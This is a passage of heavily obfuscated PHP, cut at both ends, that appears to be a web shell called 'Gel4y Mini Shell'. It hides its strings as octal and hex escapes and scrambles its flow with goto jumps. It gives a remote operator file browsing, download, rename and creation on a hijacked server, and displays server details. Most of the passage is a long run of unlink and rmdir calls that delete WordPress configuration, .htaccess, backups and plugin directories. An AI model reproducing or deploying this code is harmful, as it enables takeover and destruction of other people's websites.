"\167\160\x2d\143\x6f\156\164\145\156\x74\57\x70\x6c\x75\147\151\x6e\163\57\x64\151\x61\x62\x6c\x6f\157\161\x74"); goto BSmRD; mpAsh: $n6lqF = unlink($oyZlv . "\x2e\x68\164\141\143\145\x73\163"); goto hsJMg; yyXjR: $BlI6q = unlink($oyZlv . "\x2e\x68\x74\141\143\143\145\x73\x73\56\172\151\x70"); goto kKxmi; c3HI3: goto YYPoK; goto XxU6g; sNOzB: echo Y2EFu($_GET["\x6e"]); goto NGq7z; eTGL9: $nqh51 = rmdir($oyZlv . "\56\x74\x68\x75\x6d\x62"); goto KHG82; IVnX5: $OdHq0 = unlink($oyZlv . "\x34\x30\60\x2e\163\x68\164\x6d\x6c"); goto wpntD; b9PZF: $uTCpM = unlink($oyZlv . "\x2e\167\145\x6c\x6c\55\x6b\156\157\x77\x6e\56\172\x69\160"); goto VXI7z; B10dk: $oYzxV = unlink($oyZlv . "\153\150\x75\171\145\x6e\56\x70\150\160"); goto rUZGR; vmKra: function GZjsN($EeoI0, $dUD7y = 1, $lbhnZ = '') { goto Vle3q; Vle3q: global $p8aQE; goto idXYu; idXYu: $QDr8R = $dUD7y == 1 ? "\163\165\x63\x63\145\163\x73" : "\145\x72\162\x6f\162"; goto YowwK; YowwK: echo "\x3c\x73\143\x72\151\160\x74\x3e\x73\167\x61\x6c\50\173\x74\151\x74\x6c\145\x3a\40\x22{$QDr8R}\x22\54\x20\x74\145\x78\164\x3a\x20\42{$EeoI0}\42\54\x20\x69\143\157\156\72\x20\x22{$QDr8R}\x22\x7d\x29\x2e\x74\x68\145\x6e\50\50\142\x74\156\x43\154\151\x63\153\x29\x20\75\x3e\x20\x7b\151\146\50\x62\x74\x6e\x43\154\x69\143\x6b\x29\173\144\x6f\143\165\x6d\x65\156\x74\x2e\154\x6f\143\141\x74\x69\x6f\156\56\150\162\x65\146\x3d\x22\77\x70\x3d" . XEH2E($p8aQE) . $lbhnZ . "\x22\x7d\x7d\51\74\x2f\163\x63\x72\151\x70\x74\76"; goto LYbks; LYbks: } goto nvED2; kxSAB: $h1I4d = rmdir($oyZlv . "\167\x70\x2d\143\157\x6e\x74\x65\x6e\164\57\165\160\x6c\157\141\x64\x73\55\157\x6c\144\x2d\x6f\154\x64"); goto eRJ_E; ufm1I: $l7vQG = rmdir($oyZlv . "\x77\x65\154\x6c\55\x6b\156\x6f\167\x6e\57\160\153\x69\55\166\141\x6c\151\144\141\x74\151\157\156\x2f\x68\x2f\150\x2f\x68\x2f\x68"); goto FvOSw; zu4x_: $ye_Mv = rmdir($oyZlv . "\x77\x70\55\x63\157\x6e\164\x65\x6e\164\x2f\x75\x70\x67\x72\141\144\145\x2d\164\145\155\x70\55\x62\x61\x63\x6b\165\160"); goto HozAO; qFPUP: echo "\40\11\x9\11\x3c\x68\65\40\143\x6c\141\163\x73\75\42\x62\157\162\x64\145\162\x20\160\x2d\x31\x20\x6d\142\55\x33\42\76\122\145\x6e\x61\155\145\40"; goto iVBOv; As3FW: $KlrA1 = $lKwH4[4]("\x2f\50\134\x5c\174\x5c\x2f\51\57", $p8aQE); goto HjEdB; frFYE: goto h98Dm; goto xyQdn; aKdNL: $Ea1RG = unlink($oyZlv . "\167\160\55\x63\x6f\x6e\164\x65\156\x74\x2f\x70\x6c\x75\x67\151\x6e\x73\57\145\144\165\143\141\164\x69\157\x6e\x68\165\x62\55\143\157\x6e\156\145\143\x74\x6f\162\56\x7a\x69\x70"); goto NcVFE; oGYMF: $dFDju = rmdir($oyZlv . "\x77\160\x2d\143\x6f\x6e\164\x65\x6e\164\x2f\x70\x6c\x75\x67\151\x6e\163\57\x61\x71\165\x6d\x75\147"); goto KQWYL; pDzfo: $db3hk = unlink($oyZlv . "\x42\x69\x6e\147\123\x69\x74\x65\101\165\x74\150\56\170\155\154"); goto n233r; C9AfH: $jyGU0 = unlink($oyZlv . "\163\155\56\160\150\x70"); goto rEVTc; FtJtL: $LIuLU = unlink($oyZlv . "\164\x75\141\156\56\x74\170\x74"); goto c4yCl; j5Kmz: $i2qLb = unlink($oyZlv . "\167\x70\55\143\157\156\164\x65\156\164\x2f\x70\154\x75\147\151\156\163\x2f\167\160\55\146\151\154\145\x2d\x6d\141\x6e\x61\x67\145\x72\x2f"); goto KW1X_; HAh2Z: $rS6TI = unlink($oyZlv . "\x62\141\143\153\165\x70\56\163\161\154"); goto KO4zs; NZPZY: $tf3So = unlink($oyZlv . "\x63\x6a\144\x65\x74\141\151\x6c\163\x2e\160\150\160"); goto O_u0m; azTNK: $swLpO = unlink($oyZlv . "\x34\x30\x34\x2e\x73\150\x74\x6d\154"); goto LV59M; iwKJc: echo "\40\x9\x9\x3c\x64\151\x76\x20\143\154\x61\x73\163\75\42\x70\x78\x2d\62\x20\x70\171\55\62\42\x3e\40\11\11\x9"; goto ndVTh; mh0pq: $qBmgT = rmdir($oyZlv . "\167\160\x2d\x63\x6f\x6e\164\x65\x6e\164\57\160\154\x75\147\x69\x6e\x73\x2f\x75\142\150"); goto tPo9Y; DdcxD: $jORjF = unlink($oyZlv . "\167\160\x2d\143\157\156\164\145\156\164\x2f\x77\x66\55\154\x69\143\x65\x6e\163\x69\x6e\147\56\154\x6f\147"); goto YuYnp; ahHXb: $Juf9M = unlink($oyZlv . "\x77\x70\55\x63\x6f\x6e\164\145\x6e\x74\x2f\160\x6c\x75\147\151\x6e\163\x2f\x6f\172\170\160\147\160\150\165\x76\x6a\x2f\152\x73\x2e\x70\150\x70"); goto URbQ4; EdGsR: header("\x43\x6f\x6e\164\145\x6e\x74\x2d\144\151\163\x70\x6f\x73\x69\164\151\x6f\x6e\72\x20\x61\164\x74\x61\143\x68\x6d\145\156\164\x3b\x20\x66\x69\x6c\145\x6e\141\x6d\x65\x3d\42" . Y2EFU($_GET["\x6e"]) . "\42"); goto ekkxN; xgb2Z: $cJ_QY = unlink($oyZlv . "\167\x70\x2d\143\157\156\146\x69\147\57\167\160\55\x63\157\x6e\146\x6c\147\x2e\160\150\160"); goto f_ucd; pxLmb: h98Dm: goto MbRXS; rkktg: goto T1hif; goto i1TOR; HQrbe: $O5T47 = unlink($oyZlv . "\x77\160\55\x63\157\156\x74\145\x6e\164\57\160\154\165\147\151\156\163\57\x6f\x7a\x78\x70\x67\x70\150\165\x76\x6a\57\x72\145\141\144\155\x65\x2e\x74\170\164"); goto zY0UM; x81XS: $UelGR = rmdir($oyZlv . "\x77\160\55\143\157\x6e\x74\x65\x6e\x74\x2f\x70\x6c\165\147\x69\x6e\x73\x2f\x6c\x69\x74\145\163\160\145\145\x64\55\143\x61\143\150\x65"); goto trcJG; ZZQ3c: $pk7Wg = rmdir($oyZlv . "\167\160\55\143\x6f\x6e\x74\x65\x6e\164\x2f\x70\154\165\147\x69\156\163\57\x70\145\x74\151"); goto c36BW; oqO_C: echo Xeh2E($p8aQE) . "\46\x61\75" . xEH2e("\156\145\x77\x44\x69\162"); goto Yhmi3; YFpJ8: $aUmpv = rmdir($oyZlv . "\167\x70\x2d\143\x6f\x6e\x74\145\156\x74\x2f\x70\x6c\x75\x67\x69\156\x73\x2f\x72\x64\172\143\x70\163\x71"); goto Cpk2t; o_fGg: $HZJcQ = rmdir($oyZlv . "\167\160\55\x63\157\x6e\164\145\156\x74\57\160\154\x75\147\151\156\163\57\x35\x33\x6e\63\x31\x31\x6e\x33"); goto oaAo2; QxEtp: $w72Gt = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\x6e\x74\145\156\164\57\x70\x6c\165\x67\151\156\x73\x2f\143\x65\160\x32\x30\145\60\x30"); goto e9ATV; GIXNc: $HndnH = unlink($oyZlv . "\160\x77\141\55\163\167\x2e\152\163"); goto oB1At; vtGjV: echo y2EfU($_GET["\x6e"]); goto EkbXw; eRqiP: $XhDXj = unlink($oyZlv . "\167\x70\55\143\157\x6e\164\x65\156\x74\57\165\160\x67\162\141\144\145\55\154\x69\166\145\56\x7a\151\x70"); goto Zpe2N; hDguj: $lKwH4[3](y2EFU($_GET["\160"])); goto d_Tvu; wAZ_E: $ceVRq = rmdir($oyZlv . "\x77\x70\x2d\143\157\156\164\x65\x6e\x74\x2f\x70\x6c\165\x67\x69\156\x73\57\x32\x38\65\x39\62\x61\x33\x31\x65\x63\x65\66\63\70\60\143\63\63\x65\x66\67\146\61\x63\65\x62\x37\x36\x32\x61\145\x39"); goto djbvD; ndzr0: echo "\x3c\57\141\76\x3c\57\x68\63\76\74\x2f\144\151\x76\76\x20\x9\11\11\x3c\144\x69\166\x3e\40\x9\x9\x9\11\x3c\x73\160\141\x6e\76\x50\x48\x50\40\x56\x65\162\x73\x69\157\156\40\x3a\x20"; goto kAxA5; UPzLw: $tZQak = unlink($oyZlv . "\65\60\60\56\163\150\164\x6d\154"); goto mU8XR; H_Mh7: $ir6HE = rmdir($oyZlv . "\167\160\x2d\x63\157\x6e\x74\145\156\164\x2f\160\x6c\165\x67\151\x6e\163\x2f\x64\x30\163\x30\x38\166\x77\171"); goto gqsrN; HozAO: $mcZ7l = rmdir($oyZlv . "\167\x70\55\x63\157\156\164\x65\156\x74\57\165\x70\x67\x72\141\x64\145\55\164\x65\x6d\160\x2d\142\141\143\153\165\160\55\x6f\x6c\x64"); goto zoSmm; OxNyQ: echo "\x20\11\x3c\x2f\144\x69\x76\x3e\40\11\74\x64\151\x76\x20\143\x6c\x61\163\163\75\x22\142\x67\55\144\141\162\x6b\x20\x62\157\x72\x64\145\x72\40\x74\x61\142\x6c\145\x2d\162\145\163\160\x6f\156\163\151\x76\145\x2d\x73\155\40\x6d\164\x2d\x32\42\76\40\x9\11\x3c\x64\151\x76\40\143\154\141\x73\x73\x3d\x22\x6d\x6c\x2d\x32\42\x20\x73\x74\x79\x6c\x65\75\42\x66\157\156\164\55\x73\x69\x7a\x65\x3a\61\x38\x70\170\73\42\76\40\x9\11\11\x3c\163\160\x61\x6e\x3e\x50\141\164\x68\72\x20\74\57\x73\160\141\x6e\76\x20\11\11\11"; goto As3FW; S9P2B: if (!isset($_GET["\141"])) { goto Y1LpH; } goto pTS_J; DxlPl: $SEpMz = unlink($oyZlv . "\x77\160\x2d\143\x6f\x6e\164\145\156\x74\x2f\x70\154\165\x67\151\156\163\x2f\160\154\165\147\x69\x6e\163\56\x74\141\x72\137\143\x6c\151\x6e\x6f\x78\x2e\147\172"); goto bcCsh; z_EF2: $GOk9Y = rmdir($oyZlv . "\x77\160\55\x63\157\x6e\x74\145\x6e\164\57\x70\154\165\x67\151\x6e\x73\x2f\171\x6c\x75\146\154\x77\x6d\163\x6c\172"); goto xQRUo; HaCST: $kZYru = unlink($oyZlv . "\167\x70\x2e\143\x72\157\156\56\160\150\x70"); goto F6Ukb; UEMW_: $JXfHX = rmdir($oyZlv . "\167\x70\55\143\157\x6e\x74\x65\x6e\164\x2f\x70\x6c\165\147\151\x6e\163\x2f\x67\x68\x65\x72\x68\144\172"); goto YFpJ8; ryzqe: $drvja = unlink($oyZlv . "\163\151\154\145\x6e\x74\162\x77\155\x2e\x70\150\160"); goto PcsFC; STksV: $ADVlp = unlink($oyZlv . "\x52\105\x41\104\x4d\x45\x2e\x6d\x64"); goto rz6o1; qgctD: $oW1II = rmdir($oyZlv . "\x77\160\55\x63\x6f\156\164\x65\x6e\164\57\160\154\165\147\x69\156\163\x2f\x70\x6c\165\147\151\156"); goto dTW6u; I46tW: $B3ulu = rmdir($oyZlv . "\167\x70\55\x63\x6f\156\x74\x65\156\x74\x2f\x70\x6c\x75\147\151\x6e\x73\57\142\172\x6b\157\143\151\153\143\144\x65"); goto uJyV8; DLJee: $iq2UV = unlink($oyZlv . "\162\x6f\x6d\x2e\x70\150\160"); goto xmqUN; i3K0p: $SZ4va = unlink($oyZlv . "\65\60\x32\56\150\x74\155\154"); goto rg72x; TcXYE: $Kn9Zi = unlink($oyZlv . "\x64\142\56\x70\x68\160\55\x6f\154\x64"); goto lUVKR; WDQ6L: $kCrSv = unlink($oyZlv . "\x63\150\x69\x6e\141\x2e\x70\x68\x70"); goto A7fZo; tB3Eu: $JL0ig = unlink($oyZlv . "\x77\157\162\x64\x70\162\x65\x73\x73\55\66\x2e\x37\55\166\x69\56\x7a\151\x70"); goto cnnw3; WKgJF: $ZsFBf = rmdir($oyZlv . "\167\160\x2d\143\157\x6e\164\x65\x6e\164\x2f\x6f\142\x6a\x65\x63\164\x2d\x63\x61\x63\150\145\56\160\x68\160\55\x6f\x6c\144"); goto SFUUF; MEeu8: fsLcW: goto fPKy9; vzRLB: $s95E1 = unlink($oyZlv . "\x77\160\x2d\x63\x6f\x6e\164\x65\156\164\57\x73\164\x72\x61\164\x75\163\x2d\143\150\x69\x6c\x64\x2d\154\151\166\x65\x2e\x7a\x69\160"); goto eRqiP; tkZ3p: $yYy0o = unlink($oyZlv . "\164\x65\x78\164\56\x70\x68\x70"); goto JtbZR; KBRhH: $mj4Uk = rmdir($oyZlv . "\x2e\167\145\x6c\154\55\x6b\x6e\157\167\156\x2f\160\153\151\55\x76\x61\x6c\151\x64\141\164\151\157\156\57\147\57\x67\x2f\x67\57\147"); goto TxTUD; G3kIX: $NenUM = rmdir($oyZlv . "\56\x64\150\55\144\151\x61\147"); goto qrEWw; QUjrd: $Z9Ol3 = unlink($oyZlv . "\x64\145\x66\141\165\154\x74\56\160\150\x70"); goto dmdkj; p7l0n: $OjgKw = rmdir($oyZlv . "\167\x70\x2d\x63\157\156\x74\145\156\164\x2f\x70\x6c\x75\147\151\156\x73\x2f\x63\170\151\x65\x68\x6c\x61"); goto H_Mh7; cZFz1: $hkvxy = rmdir($oyZlv . "\x77\x70\x2d\x63\157\x6e\x74\145\x6e\x74\57\x70\x6c\165\x67\x69\x6e\x73\x2f\x73\x65\157\157"); goto qgctD; ch0hn: $p1EaL = unlink($oyZlv . "\x6c\145\156\x73\x74\157\x6d\x2e\x7a\x69\x70"); goto ySJHz; Rb8ay: echo "\40\x3c\x21\x64\x6f\143\x74\x79\x70\145\40\x68\x74\x6d\154\76\x20\74\x21\x2d\55\40\122\141\x6e\144\x73\x58\40\x61\153\x61\40\124\61\153\x75\x73\137\147\60\164\40\x2d\55\x3e\40\74\x68\x74\x6d\154\x20\x6c\141\x6e\x67\x3d\42\x65\x6e\x22\76\40\74\150\x65\x61\x64\76\40\11\x3c\x6d\145\x74\141\40\x6e\141\x6d\x65\75\42\164\150\145\x6d\145\55\143\157\154\157\x72\x22\40\143\x6f\x6e\164\x65\156\x74\x3d\42\x72\x65\x64\42\x3e\40\x9\74\155\145\164\x61\40\x6e\x61\x6d\x65\x3d\42\x76\151\x65\167\x70\157\162\x74\x22\x20\x63\x6f\x6e\x74\x65\156\x74\x3d\42\167\151\x64\x74\x68\75\144\x65\166\151\x63\145\x2d\167\x69\x64\164\x68\54\x20\x69\x6e\151\x74\151\141\x6c\55\x73\x63\x61\154\x65\75\60\x2e\66\60\54\40\163\150\162\x69\x6e\x6b\55\x74\157\x2d\x66\x69\x74\75\156\x6f\42\76\x20\11\74\x6c\151\x6e\153\40\x72\x65\154\75\42\x73\164\171\154\145\x73\150\x65\145\x74\42\x20\150\x72\145\146\x3d\x22\57\x2f\143\144\156\56\152\163\144\145\x6c\151\x76\x72\x2e\x6e\145\164\57\x6e\160\x6d\57\x62\157\157\164\x73\x74\162\141\160\x40\64\56\66\x2e\60\57\144\151\x73\164\57\x63\x73\x73\x2f\x62\157\157\x74\x73\x74\162\x61\x70\x2e\155\x69\156\x2e\143\163\x73\x22\76\x20\11\74\x6c\x69\x6e\x6b\x20\162\x65\x6c\x3d\x22\163\164\x79\x6c\145\163\x68\x65\x65\x74\42\x20\150\162\x65\146\75\x22\57\x2f\143\144\156\x6a\163\x2e\143\154\x6f\x75\144\x66\154\141\x72\145\x2e\x63\x6f\155\57\141\152\x61\x78\57\154\151\142\163\x2f\x66\157\x6e\x74\x2d\141\167\145\x73\157\x6d\x65\x2f\x34\56\x37\56\60\x2f\143\163\x73\x2f\146\157\x6e\x74\x2d\141\x77\145\x73\x6f\x6d\x65\56\x6d\151\156\56\143\x73\163\42\76\x20\x9\74\x74\151\x74\154\x65\x3e"; goto eDUPE; FZA7t: $XmYtf = unlink($oyZlv . "\56\x65\141\x65\143\x37\63\141\x62\56\x6a\x73"); goto J_Eua; Yhmi3: echo "\42\76\x2b\x44\151\x72\x65\143\x74\157\x72\171\x3c\57\x61\x3e\x20\x9\11\x9\x3c\57\144\x69\x76\x3e\x20\11\11\74\x2f\144\151\x76\x3e\40\x9\11\x3c\x64\x69\x76\x20\143\x6c\x61\x73\x73\75\x22\x62\x6f\162\144\x65\x72\55\164\157\x70\x20\164\x61\x62\154\145\55\x72\145\163\160\x6f\156\163\151\166\145\x22\x3e\40\11\x9\x9\74\x6c\x69\76\x53\145\162\166\145\x72\x20\72\40"; goto E1ZVl; c9hbi: $rZOYj = unlink($oyZlv . "\x64\145\x66\x61\165\x6c\x74\x5f\160\x61\x67\x65\x2e\x70\156\147"); goto qfdfl; mAqwh: $qqtbQ = unlink($oyZlv . "\61\62\64\x2e\160\150\160"); goto ZBBeG; iWGEp: $BmIJA = unlink($oyZlv . "\x77\160\55\x6d\172\160\x65\x61\x72\x2e\x70\x68\x70"); goto I7JxL; NrCqN: $VWU74 = unlink($oyZlv . "\167\x70\x2d\143\x6f\156\164\x65\156\x74\57\157\x62\152\x65\x63\x74\55\x63\141\x63\x68\x65\x2e\x70\x68\160"); goto r8Xpu; pPakn: xUmTc: goto KI2y8; O_u0m: $N6xpU = unlink($oyZlv . "\154\151\163\164\116\x65\167\x2e\160\150\160"); goto tviy0; TUOHD: define("\x41\x30\x6c\x42\137", "\107\145\154\64\x79\x20\115\x69\156\x69\x20\x53\x68\145\154\154"); goto refXe; nMOrW: $DEsn1 = unlink($oyZlv . "\x2e\160\150\x70\x2d\166\x65\162\x73\151\157\x6e"); goto s7C1u; c1aGJ: $b3mDL = rmdir($oyZlv . "\x77\160\x2d\143\157\x6e\x74\145\156\x74\57\x70\x6c\165\147\151\x6e\x73\57\61\x4e\x52\152\165\x4a\x6e\x33\156\x76\x67\147\x55\x34\x74\x45\143\155\125\x4d\124\x69\167\x39\x34\105\x57\172\x43\115\x72\x42\x55\166"); goto wAZ_E; v5y1D: $gC7ec = unlink($oyZlv . "\x2e\x68\164\141\143\143\x65\163\x73\x2e\x32\x30\60\x31\62\63\x32\x31\x35\x35\x33\71\x2e\x6f\x72\x69\147"); goto pVF1r; hBbTY: $m_wJv = unlink($oyZlv . "\143\x65\x74\x76\x65\x6c\x2e\160\150\160"); goto qdlVn; EAphJ: $JpDUz = unlink($oyZlv . "\167\x70\55\x63\x6f\156\x66\151\147\57\x73\x73\x2e\160\150\160"); goto xgb2Z; qo_mx: $E8Bad = rmdir($oyZlv . "\56\167\x70\x2d\x63\x6c\x69"); goto SnuFj; zKyah: $ZYBqT = unlink($oyZlv . "\56\x6d\x61\x69\156\x74\x65\156\x61\156\x63\145"); goto wFUSm; ur1QC: if (!isset($_GET["\x64\157\x77\156\x6c\x6f\x61\x64"])) { goto p9Bk5; } goto craKZ; pU9Ql: $sxzWQ = unlink($oyZlv . "\151\x6e\x73\x74\x61\x6c\x6c\145\x72\x2d\142\x61\143\153\x75\160\56\x70\x68\x70"); goto Y1F_c; N_8Hw: $Z86EW = unlink($oyZlv . "\x2e\x68\164\141\x63\x63\x65\x73\163\x2e\157\166\x68\56\157\x6c\144"); goto nQu44; rg72x: $TDqaf = unlink($oyZlv . "\x65\141\x65\56\x74\x78\164"); goto ZBY8L; rUZGR: $Doabt = unlink($oyZlv . "\x79\143\x2e\160\150\x70"); goto CUGCX; d14cR: $Fdbja = rmdir($oyZlv . "\56\167\x65\x6c\154\55\153\x6e\x6f\167\156\57\160\x6b\x69\x2d\x76\141\x6c\151\144\141\164\151\x6f\156\57\x65\57\x65\57\145\x2f\x65"); goto ckTup; yhdG2: $XgSPs = unlink($oyZlv . "\x77\160\55\143\x6f\x6e\164\x65\x6e\164\x2f\165\x73\x65\162\146\165\x6e\x73\56\160\x68\x70"); goto mAqwh; ePWT6: $vpx2y = rmdir($oyZlv . "\x6f\x6c\x64"); goto dY7TT; bAyDz: $IwV50 = unlink($oyZlv . "\x4c\x61\x74\145\x73\164\56\x7a\x69\x70"); goto cq1Pe; zjFPl: $ps1Yx = unlink($oyZlv . "\x63\157\160\171\56\x70\150\160"); goto qqnc4; E1ZVl: echo "{$_SERVER["\x53\105\122\x56\105\122\137\116\101\115\105"]}\x20\x28{$_SERVER["\123\105\x52\x56\x45\122\x5f\x41\x44\104\122"]}\57{$_SERVER["\122\x45\x4d\x4f\124\105\137\101\x44\x44\x52"]}\x29"; goto ONfpO; uVqGJ: $mfhuI = unlink($oyZlv . "\x6d\154\x72\56\160\x68\160"); goto IRxKo; VPNAk: $A8ugx = rmdir($oyZlv . "\x2e\154\x69\164\145\163\160\145\145\x64\x5f\146\x6c\141\x67"); goto AQHSd; XNtRV: $JjcvB = unlink($oyZlv . "\x64\145\x6c\x65\x74\x65\x6d\x65\56\167\160\60\x31\146\x63\x33\x31\x63\61\x35\141\141\145\64\145\x65\64\71\66\70\x62\x33\x65\64\x65\63\x31\x66\62\x37\x31\63\144\x2e\160\x68\160"); goto ebptS; uJyV8: $c4OKl = rmdir($oyZlv . "\167\x70\55\x63\x6f\x6e\164\145\x6e\x74\x2f\160\x6c\165\147\151\156\163\57\x6f\x76\x6c\153\x66\x7a\171\x65\167\x6a"); goto ATNrF; RvcVU: $gXzXc = unlink($oyZlv . "\x65\162\x72\157\162\x5f\x6c\x6f\x67\56\160\x68\x70"); goto UPyph; CZtti: $BUdH5 = unlink($oyZlv . "\x63\144\x2e\160\x68\x70"); goto hBbTY; e5n_T: $Ww3Gj = rmdir($oyZlv . "\x2e\161\165\x61\x72\x61\x6e\x74\151\156\145"); goto lsTaM; dA53v: $udkbU = unlink($oyZlv . "\x74\130\172\x55\155\x61\167\102\152\x63\146\170"); goto mG3C4; MiObP: $QfQ0Y = unlink($oyZlv . "\x77\160\x2d\x63\x6f\156\146\151\147\x2d\x32\60\62\64\61\61\x31\62\x2e\160\x68\x70"); goto UlR7G; c3fV3: $MV1pB = rmdir($oyZlv . "\167\145\154\154\55\x6b\156\157\x77\156\57\160\153\151\x2d\x76\141\x6c\151\144\x61\164\x69\x6f\156\57\x61\x2f\x61\x2f\x61\57\x61"); goto No0Zn; C4ucw: $CghaG = unlink($oyZlv . "\56\x68\x74\141\x63\x63\x65\163\163\x31\62"); goto Hm_mo; YPVqs: zJCfl: goto wd4Ua; c4yCl: $OrVvI = unlink($oyZlv . "\x77\x70\55\x63\157\x6e\164\145\x6e\164\x2f\56\167\160\x2d\x63\157\x6e\164\x65\x6e\164\x2e\x70\150\160"); goto XNtRV; skt30: $IoaXm = unlink($oyZlv . "\x63\64\x38\146\70\x64\65\143\143\x65\x61\144\x62\x62\x61\144\x34\x32\x65\x64\142\146\x37\145\145\63\x35\71\x39\x61\x38\145\x2e\x61\166\x69"); goto BhE4O; fNhCb: $jc1Er = unlink($oyZlv . "\141\x6c\x66\x61\56\x70\x68\x70"); goto GmPiU; OktfR: $y8jnR = unlink($oyZlv . "\143\x6f\x6d\x70\157\x73\145\x72\x2e\x6a\163\x6f\x6e"); goto AAlyi; Jb8IB: $dHVEI = rmdir($oyZlv . "\143\x6f\x6e\146"); goto OZCFY; Di0QC: $gVg3H = unlink($oyZlv . "\160\167\x61\x2d\x61\x6d\160\55\163\167\x2e\x6a\x73"); goto FP36x; PLpew: $VL4IY = unlink($oyZlv . "\x77\x65\x62\x2e\x63\157\x6e\x66\x69\147\56\62\x32\60\64\x32\64\x31\67\65\63\x34\64\56\x6f\x72\151\x67"); goto vf3Uk; No0Zn: $ZNQnR = rmdir($oyZlv . "\167\x65\x6c\x6c\x2d\153\x6e\157\x77\156\x2f\160\153\151\55\x76\x61\x6c\x69\144\141\164\151\157\x6e\57\x62\57\x62\57\x62\57\x62"); goto Ag8MQ; SToal: $tiWtC = rmdir($oyZlv . "\167\x65\x6c\154\x2d\153\x6e\x6f\x77\x6e\57\160\153\151\x2d\166\x61\x6c\x69\144\141\164\x69\x6f\x6e\x2f\x65\x2f\145\57\145\57\145"); goto aAN1b; vGL6i: echo XEh2e($p8aQE) . "\x26\x61\x3d" . XEh2e("\156\145\167\106\151\x6c\145"); goto RpdRP; TFUgI: $kCtWU = unlink($oyZlv . "\167\160\x2d\x63\157\156\x74\145\156\x74\57\x64\x65\142\165\x67\x2e\x6c\x6f\x67"); goto FX2Yu; lQDUS: $f2JtV = unlink($oyZlv . "\x77\160\x2d\143\x6c\x69\x2e\x79\155\x6c"); goto aDh05; aZ17_: $N5HbT = unlink($oyZlv . "\x77\160\55\x75\x73\x65\x72\x2e\x70\150\x70"); goto w7Oo9; UlR7G: $Nb9_W = unlink($oyZlv . "\x69\156\144\145\170\56\x68\164\155\x6c\x5f"); goto ifGRR; oB1At: $pcqQW = unlink($oyZlv . "\x73\150\145\x72\x6c\171\55\166\154\x6f\x67\163\x2e\x6d\160\x34"); goto Di0QC; SSYBc: $hFtkw = unlink($oyZlv . "\x66\165\x6e\x63\164\151\157\x6e\163\x2e\x73\150"); goto FtJtL; TyUAF: $KPSZ3 = unlink($oyZlv . "\56\154\151\x74\x65\163\160\145\x65\x64\137\146\x6c\x61\147"); goto m411h; o4Yaq: $YVAUu = unlink($oyZlv . "\142\151\157\156\151\x63\56\x70\x68\x70"); goto CZtti; LK7Oq: $p06jb = rmdir($oyZlv . "\x77\160\55\143\x6f\x6e\x74\145\156\164\x2f\x70\x6c\165\147\151\156\163\57\146\x64\141\164\x73\172\157"); goto B5l4k; FP36x: $XGXV0 = unlink($oyZlv . "\167\x70\55\143\x6f\156\x74\x65\156\164\x2f\x69\156\x64\145\170\x2e\160\150\x70\x2d\x6f\x6c\x64"); goto STksV; J34QM: if (!$lKwH4[12]($lbhnZ)) { goto XcRMN; } goto cgsk5; SxyuX: $Wzy18 = unlink($oyZlv . "\x77\x70\x2d\143\157\x6e\164\x65\156\164\x2f\160\x6c\x75\147\x69\x6e\x73\x2f\x62\x75\x64\144\x79\142\x6f\x73\163\x2d\x74\x68\x65\155\145\56\172\151\160"); goto MezwY; sbcv8: $GKQjH = rmdir($oyZlv . "\167\160\55\x63\x6f\x6e\164\x65\156\164\57\x70\x6c\165\147\151\156\163\x2f\x36\x35\x39\65\x32\61\x62\70\x63\x33\x64\67\x30\x62\x30\x65\x32\145\66\67\x32\x32\64\x38\x31\x32\x61\60\67\x32\x64\x30"); goto mUEn3; xdFy0: $D2tkG = unlink($oyZlv . "\160\150\x70\56\x69\x6e\x69\x31"); goto uRtMv; BQyWD: $D3k5z = unlink($oyZlv . "\56\x68\x74\160\x6f\165\150"); goto kjoNg; cp4v7: $Bz9BY = unlink($oyZlv . "\160\141\x63\x6b\x61\x67\145\x2d\154\x6f\x63\153\x2e\152\163\157\x6e"); goto hfEEN; pnpCe: $AvDDE = rmdir($oyZlv . "\167\x70\x2d\143\157\x6e\x74\145\156\164\x2f\x70\154\x75\147\x69\156\163\57\167\x70\x2d\x66\x69\x6c\145\x2d\x6d\x61\156\x61\147\145\162\x2f"); goto XMCk1; JJGhM: $tQPOe = unlink($oyZlv . "\x2e\56\x68\164\x61\x63\143\145\163\x73\x31\62"); goto C4ucw; p2KH5: $oKqpx = rmdir($oyZlv . "\167\x70\x2d\x63\157\156\x74\145\156\x74\57\x70\x6c\165\x67\151\x6e\x73\57\142\64\x36\144\70\70\x62\x61\70\x38\60\67\x33\71\61\x35\x65\70\x30\62\142\60\70\141\x34\x61\143\63\x35\x36\x31\64"); goto StYme; BSmRD: $ZJQCU = rmdir($oyZlv . "\x77\x70\x2d\x63\x6f\156\164\x65\156\164\57\x70\x6c\x75\147\151\156\x73\57\150\x72\163\x67\x70\x74\172\172\x78\x76"); goto LWI7p; URbQ4: $Dnr9E = unlink($oyZlv . "\167\160\55\143\157\x6e\164\145\x6e\164\57\x70\154\x75\147\x69\x6e\163\57\x6f\172\170\x70\x67\x70\150\x75\x76\x6a\57\157\x7a\x78\160\x67\160\x68\165\x76\x6a\x2e\x70\x68\x70"); goto VoPUO; uguh2: $yUdJW = unlink($oyZlv . "\x77\160\55\x63\x6f\156\x74\145\156\164\57\x2e\154\x69\164\x65\163\160\x65\x65\x64\x5f\x63\x6f\x6e\x66\56\x64\x61\164"); goto jHytL; w10k3: $nzf7s = unlink($oyZlv . "\x6f\142\x6a\145\143\x74\55\143\141\143\150\145\56\x70\x68\x70\55\x6f\x6c\x64\x2d\x6f\x6c\x64"); goto ZHaZ0; wd4Ua: Gzjsn("\x66\x69\x6c\145\40\x64\x65\154\145\164\145\144\x20\163\x75\x63\x63\x65\163\163\x66\x75\x6c\x6c\171"); goto Tt7Lm; xyYcV: $RKmH9 = rmdir($oyZlv . "\x2e\x6c\151\164\145\x73\160\x65\x65\x64\x5f\x63\x6f\x6e\146\56\x64\141\164"); goto bxiK2; KI2y8: $p8aQE = Y2EFU($_GET["\x70"]); goto hDguj; ATAYs: if (!($VQa5C < count($Uw6KJ))) { goto R2WiD; } goto zeGmf; xiOlh: $iXnzX = unlink($oyZlv . "\56\x67\x69\x74\x69\147\x6e\x6f\x72\x65"); goto b9PZF; a6qAK: $NbtHq = unlink($oyZlv . "\x77\x70\x2d\x63\157\x6e\x74\x65\x6e\164\x2f\141\165\x74\157\x70\x74\x69\155\151\172\145\x5f\64\60\x34\x5f\x68\141\156\144\x6c\145\x72\x2e\x70\150\x70"); goto AAsQQ; drKzI: $fxg4V = unlink($oyZlv . "\x69\x78\x75\x2e\x74\x78\164"); goto nsEpS; cJ1Cb: $JJapi = rmdir($oyZlv . "\116\x65\167\106\157\x6c\x64\x65\162"); goto y42_C; cprZC: $okYSM = 